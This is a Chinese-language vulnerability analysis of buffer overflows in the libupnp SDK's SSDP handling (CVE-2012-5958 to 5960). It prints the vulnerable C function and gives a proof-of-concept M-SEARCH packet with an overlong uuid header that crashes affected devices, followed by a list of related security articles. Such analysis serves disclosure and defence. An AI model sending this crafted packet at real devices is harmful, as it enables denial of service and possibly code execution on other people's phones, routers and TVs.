libUpnp缓冲区溢出、拒绝服务等漏洞分析

该漏洞存在于UPnP?设备的便携式SDK中,也叫做 libupnp。这个库是用来实现媒体播放(DLAN)或者NAT地址转换(UPnP IGD)。智能手机上的应用程序可用这些功能播放媒体文件或者利用用户的家庭网络连接到其他的设备。

事实上,这些漏洞早在2012年12月份就已经修复了,然而仍然有很多app在使用存在漏洞的老版本SDK。统计发现有547个应用还在使用老版本的 libupnp,其中326个可从谷歌Play store中下载到,包括Netflix和腾讯QQ音乐。这些都是非常流行的应用,用户达百万,也就是说有数百万的用户还存在被攻击的可能性。另外,除了移动设备,路由器和智能电视也在之列。

漏洞利用

该漏洞存在于 libupnp库处理简单服务发现协议(SSDP)包过程中。该协议是 Universal Plug N’ Play (UPnP)标准的部分。在处理进程中会出现堆栈溢出,并且需要UDP1900端口打开。

一个精心制作的包可造成缓冲区溢出,如下图中的代码,TempBuf 缓冲可溢出,并造成死机。

进一步的研究发现,它不仅能造成死机,还可以在受害者设备上运行任意代码。如此以来,攻击者便可能会完全掌控受害者设备。

漏洞代码如下:

// version 1.6.17
 // cmd变量接收外部输入
 // 结构体Evt包含多个固定长度的缓冲区
 int unique_service_name(char *cmd, SsdpEvent *Evt)
{
    char TempBuf[COMMAND_LEN];
    char *TempPtr = NULL;
    char *Ptr = NULL;
    char *ptr1 = NULL;
    char *ptr2 = NULL;
    char *ptr3 = NULL;
    int CommandFound = 0;
    size_t n = (size_t)0;
    if (strstr(cmd, "uuid:schemas") != NULL)
    {
        ptr1 = strstr(cmd, ":device");
        if (ptr1 != NULL)
            ptr2 = strstr(ptr1 + 1, ":");
        else
            return -1;
        if (ptr2 != NULL)
            ptr3 = strstr(ptr2 + 1, ":");
        else
            return -1;
        if (ptr3 != NULL)
        {
            if (strlen("uuid:") + strlen(ptr3 + 1) >= sizeof(Evt->UDN))
                return -1;
            snprintf(Evt->UDN, sizeof(Evt->UDN), "uuid:%s", ptr3 + 1);
        }
        else
            return -1;
        ptr1 = strstr(cmd, ":");
        if (ptr1 != NULL)
        {
            n = (size_t)ptr3 - (size_t)ptr1;
            strncpy(TempBuf, ptr1, n);                            // CVE-2012-5958
            TempBuf[n] = ‘\0‘;
            if (strlen("urn") + strlen(TempBuf) >= sizeof(Evt->DeviceType))
                return -1;
            snprintf(Evt->DeviceType, sizeof(Evt->DeviceType), "urn%s", TempBuf);
        }
        else
            return -1;
        return 0;
    }
    if ((TempPtr = strstr(cmd, "uuid")) != NULL)
    {
        if ((Ptr = strstr(cmd, "::")) != NULL)
        {
            n = (size_t)Ptr - (size_t)TempPtr;
            strncpy(Evt->UDN, TempPtr, n);                        // CVE-2012-5959
            Evt->UDN[n] = ‘\0‘;
        }
        else
        {
            memset(Evt->UDN, 0, sizeof(Evt->UDN));
            strncpy(Evt->UDN, TempPtr, sizeof(Evt->UDN) - 1);
        }
        CommandFound = 1;
    }
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":service:") != NULL)
    {
        if ((TempPtr = strstr(cmd, "urn")) != NULL)
        {
            memset(Evt->ServiceType, 0, sizeof(Evt->ServiceType));
            strncpy(Evt->ServiceType, TempPtr, sizeof(Evt->ServiceType) - 1);
            CommandFound = 1;
        }
    }
    if (strstr(cmd, "urn:") != NULL && strstr(cmd, ":device:") != NULL)
    {
        if ((TempPtr = strstr(cmd, "urn")) != NULL)
        {
            memset(Evt->DeviceType, 0, sizeof(Evt->DeviceType));
            strncpy(Evt->DeviceType, TempPtr, sizeof(Evt->DeviceType) - 1);
            CommandFound = 1;
        }
    }
    if ((TempPtr = strstr(cmd, "::upnp:rootdevice")) != NULL)
    {
        /* Everything before "::upnp::rootdevice" is the UDN. */
        if (TempPtr != cmd)
        {
            n = (size_t)TempPtr - (size_t)cmd;
            strncpy(Evt->UDN, cmd, n);                            // CVE-2012-5960
            Evt->UDN[n] = 0;
            CommandFound = 1;
        }
    }
    if (CommandFound == 0)
        return -1;
    return 0;
}

Poc脚本如下:

M-SEARCH * HTTP/1.1
 Host:239.255.255.250:1900
ST:uuid:schemas:device:AAAA[…]AAAA:anything
Man:"ssdp:discover"
MX:3
时间: 2024-11-18 11:08:27

libUpnp缓冲区溢出、拒绝服务等漏洞分析的相关文章

Android APP通用型拒绝服务、漏洞分析报告

点评:记得曾经有段时间很多SRC平台被刷了大量APP本地拒绝服务漏洞(目前腾讯金刚审计系统已经可检测此类漏洞),移动安全团队发现了一个安卓客户端的通用型拒绝服务漏洞,来看看他们的详细分析吧. 0xr0ot和Xbalien交流所有可能导致应用拒绝服务的异常类型时,发现了一处通用的本地拒绝服务漏洞.该通用型本地拒绝服务可以造成大面积的app拒绝服务. 针对序列化对象而出现的拒绝服务主要是由于应用中使用了getSerializableExtra() 的API,由于应用开发者没有对传入的数据做异常判断,

主机溢出提权漏洞分析

背景介绍公司内部服务器,上面有一简单的上传入口,刚入职的小伙伴在C盘根目录下有一个TXT文本文件,说权限设置的很低,除Administrator外,其他用户无法读取到内容,直接向安全工程师"墨者"发出挑战,让其测试. 实训目标1.掌握文件上传的技巧:2.掌握IIS中间件存在的畸形解析漏洞:3.了解Windows系统CMD命令执行:4.了解查看操作系统安全补丁情况:5.了解Windows操作系统的文件权限设置:6.了解操作系统的溢出漏洞的提权方式: 解题方向通过上传脚本文件,读取C盘下T

缓冲区溢出分析第01课:缓冲区溢出分析导论

前言 <缓冲区溢出分析>这一系列的内容是我为"i春秋"所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理. 课程导论 漏洞指的是在硬件.软件.协议的具体实现或系统安全策略上存在的缺陷,通常是由程序的编写者在编写时的疏忽造成的.漏洞的存在使攻击者能够

黑客中级技术 缓冲区溢出攻击的介绍

大家都知道缓冲区溢出是一种普遍.而且危险性极强的漏洞,在各种操作系统.应用软件中广泛存在.利用缓冲区溢出攻击,可以导致程序运行失败.系统当机.重新启动等后果. 更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作. 缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack, memory leak

2017-2018-2 20179215《网络攻防实践》seed缓冲区溢出实验

seed缓冲区溢出实验 有漏洞的程序: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /*

CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃:攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header

缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

前言 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 编写漏洞利用程序的框架 这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下.程序如下: #include <windows.h> typedef void (*MYPROC)(LPTSTR, ...); int main() { char Str[0x320]; char lpWideCharStr[0x440]; int arg

缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘

前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的.即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题. 对漏洞函数进行静态分析 我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节.我们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位

缓冲区溢出分析第07课:MS06-040漏洞研究——静态分析

前言 我在之前的课程中讨论过W32Dasm这款软件中的漏洞分析与利用的方法,由于使用该软件的人群毕竟是小众群体,因此该漏洞的危害相对来说还是比较小的.但是如果漏洞出现在Windows系统中,那么情况就会很不一样了.毕竟Windows统治了全球九成以上的计算机操作系统,因此如果该系统中出现了漏洞,而这个漏洞又被别有用心者所利用,那么就必然会出现数以亿计的受害者. MS06-040漏洞基本信息 这次我们讨论的漏洞是在2006年8月8日,由微软公布的MS06-040这个漏洞(https://techn